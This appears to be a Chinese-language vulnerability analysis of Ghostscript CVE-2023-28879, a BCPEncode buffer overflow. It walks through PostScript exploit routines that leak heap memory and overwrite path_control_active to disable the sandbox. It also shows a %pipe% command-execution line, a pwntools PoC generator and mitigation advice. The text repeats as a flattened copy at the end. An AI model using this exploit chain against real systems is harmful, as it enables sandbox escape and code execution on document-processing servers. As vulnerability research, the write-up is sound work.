Artifex Software Ghostscript漏洞分析之CVE-2023-28879
字数 1033 2025-08-18 11:36:53

Ghostscript漏洞分析:CVE-2023-28879深度解析与利用

漏洞概述

CVE-2023-28879是Artifex Software Ghostscript中的一个严重漏洞,影响10.01.0及之前版本。该漏洞存在于BCPEncode、BCPDecode、TBCPEncode和TBCPDecode组件中,允许攻击者通过精心构造的PostScript文件禁用沙箱保护机制,进而实现远程代码执行。

受影响版本

  • Ghostscript@(-∞, 10.01.1)
  • ghostscript@(-∞, 10.0.0~dfsg-11)

漏洞技术分析

根本原因

漏洞源于s_xBCPE_process函数中的缓冲区处理错误。当写入缓冲区的数据比总长度少一个字节时,尝试写入转义字符会导致两个字节被写入,造成缓冲区溢出。

关键函数分析

s_xBCPE_process函数位于base/sbcp.c中,主要逻辑如下:

static int s_xBCPE_process(stream_state * st, stream_cursor_read * pr, 
                          stream_cursor_write * pw, bool last, const byte * escaped) {
    const byte *p = pr->ptr;
    const byte *rlimit = pr->limit;
    uint rcount = rlimit - p;
    byte *q = pw->ptr;
    uint wcount = pw->limit - q;
    const byte *end = p + min(rcount, wcount);
    
    while (p < end) {
        byte ch = *++p;
        if (ch <= 31 && escaped[ch]) {
            if (p == rlimit) {
                p--;
                break;
            }
            *++q = CtrlA;
            ch ^= 0x40;
            if (--wcount < rcount)
                end--;
            *++q = ch;
        } else {
            *++q = ch;
        }
    }
    pr->ptr = p;
    pw->ptr = q;
    return (p == rlimit ? 0 : 1);
}

漏洞触发条件

  1. 输入数据中包含需要转义的字符(ASCII值≤31且在转义列表中)
  2. 缓冲区剩余空间恰好比待写入数据少一个字节
  3. 触发转义字符写入路径

漏洞利用技术

利用步骤概述

  1. 堆地址泄露:通过精心构造的过滤器链泄露堆内存信息
  2. 沙箱绕过:定位并覆写path_control_active变量(禁用沙箱)
  3. 命令执行:通过%pipe%设备执行任意命令

详细利用过程

1. 堆地址泄露

构造特殊的PostScript代码链式调用多个过滤器:

(){} 
/zlibEncode filter 
/BCPEncode filter 
/LZWEncode filter 
/ASCII85Encode filter 
/ASCIIHexEncode filter 
/PSStringEncode filter 
/ASCII85Encode filter 
/ASCIIHexEncode filter 
/ASCIIHexEncode filter 
/ASCIIHexEncode filter 
/ASCII85Encode filter 
/ASCII85Encode filter 
/ASCIIHexEncode filter 
/PSStringEncode filter 
/ASCIIHexEncode filter 
/ASCIIHexEncode filter 
/BCPEncode filter 
/ASCIIHexEncode filter 
/PSStringEncode filter 
/MD5Encode filter 
closefile

2. 定位关键结构

通过泄露的堆地址计算path_control_active变量的位置:

/leakMemory{
    /leakBuffer 5000 string def
    /leakMemoryFilter leakBuffer /NullEncode filter /BCPEncode filter def
    createOverflow
    <4343434343434343> concatstrings % s->templat
    <4444444444444444> concatstrings % s->memory
    <4545454545454545> concatstrings % s->report_error
    <4646464646464646> concatstrings % s->min_left
    1 1 80 {pop <47> concatstrings } for % s->error_string
    <4848484848484848> concatstrings % s->cursor->r->ptr
    leakMemoryFilter exch writestring
    leakMemoryFilter flushfile
    /leak leakBuffer 2176 8 getinterval def
    leak reverse
} def

3. 任意地址写入

覆盖path_control_active变量:

/writewhatwhere {
    createOverflow
    <4343434343434343> concatstrings % s->templat
    <4444444444444444> concatstrings % s->memory
    <4545454545454545> concatstrings % s->report_error
    <4646464646464646> concatstrings % s->min_left
    1 1 80 {pop <47> concatstrings } for % s->error_string
    <4848484848484848> concatstrings % s->cursor->r->ptr
    exch concatstrings % (where) s->cursor->r->limit
    <4444444444444444> concatstrings % s->cursor->w->limit
    <4545454545454545> concatstrings % s->cbuf.
    /openWriteFilter 5000 string /NullEncode filter /BCPEncode filter def
    openWriteFilter exch writestring
    openWriteFilter flushfile
    openWriteFilter exch writestring
}def

4. 命令执行

禁用沙箱后通过%pipe%执行命令:

(%pipe%id) (w) file  % 执行id命令

漏洞复现步骤

  1. 安装受影响版本:

    tar xzvf ghostscript-10.01.0.tar.gz
    cd ./ghostscript-10.01.0
    ./configure
    make
    make install
    
  2. 生成POC:

    #!/usr/bin/env python
    from pwn import *
    from sys import argv
    
    if len(argv) != 2:
        print("Usage: python {argv[0]} /path/to/gs_bin or libgs")
        exit(1)
    
    elf_path = argv[1]
    elf = ELF(elf_path)
    
    # 获取关键偏移量
    init_addr = elf.get_section_by_name('.init').header.sh_addr
    system_plt_addr = elf.plt['system']
    libc_plt_offset = system_plt_addr - init_addr
    f_addr_s_std_noseek = elf.functions["s_std_noseek"]
    f_addr_s_std_noseek_offset = f_addr_s_std_noseek.address - init_addr
    
    # 生成最终POC
    with open("final-poc.ps.template", "r") as f:
        final_file = f.read().strip()
    final_file = final_file.replace("F_ADDR_S_STD_NOSEEK_OFFSET", str(f_addr_s_std_noseek_offset))
    final_file = final_file.replace("LIBC_PLT_OFFSET", str(libc_plt_offset))
    
    with open("final-poc.ps", "w") as f:
        f.write(final_file)
    
  3. 执行POC:

    ./gs -f final-poc.ps
    

漏洞修复

官方在10.01.1版本中修复了此漏洞。建议用户升级到最新版本,或应用官方补丁。

防御措施

  1. 及时更新Ghostscript到最新版本
  2. 对用户上传的PostScript文件进行严格过滤
  3. 在沙箱环境中运行Ghostscript
  4. 监控异常进程行为

参考资源

  1. Artifex Software Security Advisory
  2. Almond Offensive Security Blog - Shell in the Ghost
  3. Ghostscript Official Documentation
Ghostscript漏洞分析:CVE-2023-28879深度解析与利用 漏洞概述 CVE-2023-28879是Artifex Software Ghostscript中的一个严重漏洞,影响10.01.0及之前版本。该漏洞存在于BCPEncode、BCPDecode、TBCPEncode和TBCPDecode组件中,允许攻击者通过精心构造的PostScript文件禁用沙箱保护机制,进而实现远程代码执行。 受影响版本 Ghostscript@(-∞, 10.01.1) ghostscript@(-∞, 10.0.0~dfsg-11) 漏洞技术分析 根本原因 漏洞源于 s_xBCPE_process 函数中的缓冲区处理错误。当写入缓冲区的数据比总长度少一个字节时,尝试写入转义字符会导致两个字节被写入,造成缓冲区溢出。 关键函数分析 s_xBCPE_process 函数位于 base/sbcp.c 中,主要逻辑如下: 漏洞触发条件 输入数据中包含需要转义的字符(ASCII值≤31且在转义列表中) 缓冲区剩余空间恰好比待写入数据少一个字节 触发转义字符写入路径 漏洞利用技术 利用步骤概述 堆地址泄露 :通过精心构造的过滤器链泄露堆内存信息 沙箱绕过 :定位并覆写 path_control_active 变量(禁用沙箱) 命令执行 :通过 %pipe% 设备执行任意命令 详细利用过程 1. 堆地址泄露 构造特殊的PostScript代码链式调用多个过滤器: 2. 定位关键结构 通过泄露的堆地址计算 path_control_active 变量的位置: 3. 任意地址写入 覆盖 path_control_active 变量: 4. 命令执行 禁用沙箱后通过 %pipe% 执行命令: 漏洞复现步骤 安装受影响版本: 生成POC: 执行POC: 漏洞修复 官方在10.01.1版本中修复了此漏洞。建议用户升级到最新版本,或应用官方补丁。 防御措施 及时更新Ghostscript到最新版本 对用户上传的PostScript文件进行严格过滤 在沙箱环境中运行Ghostscript 监控异常进程行为 参考资源 Artifex Software Security Advisory Almond Offensive Security Blog - Shell in the Ghost Ghostscript Official Documentation